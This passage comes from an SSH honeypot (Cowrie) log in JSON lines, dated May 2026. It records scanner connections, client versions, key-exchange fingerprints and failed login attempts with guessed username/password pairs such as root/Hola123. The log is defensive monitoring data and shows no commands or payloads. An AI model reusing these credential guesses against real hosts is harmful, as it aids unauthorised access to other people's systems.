encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:21.768935Z","src_ip":"221.161.235.168","session":"5aa02510fd78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plunga471","message":"login attempt [root/plunga471] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:22.569306Z","src_ip":"221.161.235.168","session":"5aa02510fd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:23.765682Z","src_ip":"221.161.235.168","session":"5aa02510fd78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:28.575995Z","src_ip":"8.218.166.49","session":"baf1660004f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.3","message":"Connection lost after 30.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:29.787883Z","src_ip":"8.218.166.49","session":"baf1660004f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":52638,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bb6a64e3aec","protocol":"ssh","message":"New connection: 94.26.106.44:52638 (159.203.135.109:22) [session: 1bb6a64e3aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:30.397546Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:30.405298Z","src_ip":"94.26.106.44","session":"1bb6a64e3aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":52644,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d95814f020","protocol":"ssh","message":"New connection: 94.26.106.44:52644 (159.203.135.109:22) [session: b8d95814f020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:30.556425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:30.566192Z","src_ip":"94.26.106.44","session":"b8d95814f020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:30.657860Z","src_ip":"94.26.106.44","session":"b8d95814f020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bastard1","message":"login attempt [root/bastard1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:30.842160Z","src_ip":"94.26.106.44","session":"b8d95814f020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:31.934880Z","src_ip":"94.26.106.44","session":"b8d95814f020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57712,"dst_ip":"10.17.0.5","dst_port":22,"session":"38780aaa533e","protocol":"ssh","message":"New connection: 8.218.166.49:57712 (10.17.0.5:22) [session: 38780aaa533e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:34.876049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:34.881890Z","src_ip":"8.218.166.49","session":"38780aaa533e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:35.366581Z","src_ip":"8.218.166.49","session":"38780aaa533e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40048,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c172bc5f14","protocol":"ssh","message":"New connection: 8.218.166.49:40048 (10.17.0.5:22) [session: 46c172bc5f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:45.104232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:45.109076Z","src_ip":"8.218.166.49","session":"46c172bc5f14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:45.315522Z","src_ip":"8.218.166.49","session":"46c172bc5f14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:45.947248Z","src_ip":"8.218.166.49","session":"46c172bc5f14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:47.156819Z","src_ip":"8.218.166.49","session":"46c172bc5f14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":42060,"dst_ip":"159.203.135.109","dst_port":22,"session":"d22373971a4d","protocol":"ssh","message":"New connection: 189.113.47.155:42060 (159.203.135.109:22) [session: d22373971a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:48.744033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:48.748776Z","src_ip":"189.113.47.155","session":"d22373971a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:48.864703Z","src_ip":"189.113.47.155","session":"d22373971a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:49.361277Z","src_ip":"189.113.47.155","session":"d22373971a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:50.480958Z","src_ip":"189.113.47.155","session":"d22373971a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40062,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d57921e04fc","protocol":"ssh","message":"New connection: 8.218.166.49:40062 (10.17.0.5:22) [session: 2d57921e04fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:53.398613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:53.403616Z","src_ip":"8.218.166.49","session":"2d57921e04fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":37150,"dst_ip":"159.203.135.109","dst_port":22,"session":"559b0c59255a","protocol":"ssh","message":"New connection: 165.154.6.49:37150 (159.203.135.109:22) [session: 559b0c59255a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:57.222759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:57.227702Z","src_ip":"165.154.6.49","session":"559b0c59255a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:57.448811Z","src_ip":"165.154.6.49","session":"559b0c59255a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":42700,"dst_ip":"159.203.135.109","dst_port":22,"session":"b94b779eefe1","protocol":"ssh","message":"New connection: 139.59.208.49:42700 (159.203.135.109:22) [session: b94b779eefe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:57.889260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:57.894610Z","src_ip":"139.59.208.49","session":"b94b779eefe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:57.986042Z","src_ip":"139.59.208.49","session":"b94b779eefe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mkt","message":"login attempt [root/mkt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:58.365796Z","src_ip":"165.154.6.49","session":"559b0c59255a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cristi123","message":"login attempt [root/cristi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:58.382859Z","src_ip":"139.59.208.49","session":"b94b779eefe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:59.484891Z","src_ip":"139.59.208.49","session":"b94b779eefe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:59.590228Z","src_ip":"165.154.6.49","session":"559b0c59255a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49858,"dst_ip":"10.17.0.5","dst_port":22,"session":"29db1acbaea6","protocol":"ssh","message":"New connection: 8.218.166.49:49858 (10.17.0.5:22) [session: 29db1acbaea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:59.971416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:02:59.977404Z","src_ip":"8.218.166.49","session":"29db1acbaea6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":49150,"dst_ip":"159.203.135.109","dst_port":22,"session":"a03d913483c6","protocol":"ssh","message":"New connection: 221.161.235.168:49150 (159.203.135.109:22) [session: a03d913483c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:01.182409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:01.192642Z","src_ip":"221.161.235.168","session":"a03d913483c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:01.396232Z","src_ip":"221.161.235.168","session":"a03d913483c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hola123","message":"login attempt [root/Hola123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:02.234696Z","src_ip":"221.161.235.168","session":"a03d913483c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:03.442143Z","src_ip":"221.161.235.168","session":"a03d913483c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":41820,"dst_ip":"159.203.135.109","dst_port":22,"session":"576de5b70d79","protocol":"ssh","message":"New connection: 190.167.237.191:41820 (159.203.135.109:22) [session: 576de5b70d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:13.649264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:03:13.657261Z","src_ip":"190.167.237.191","session":"576de5b70d79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp3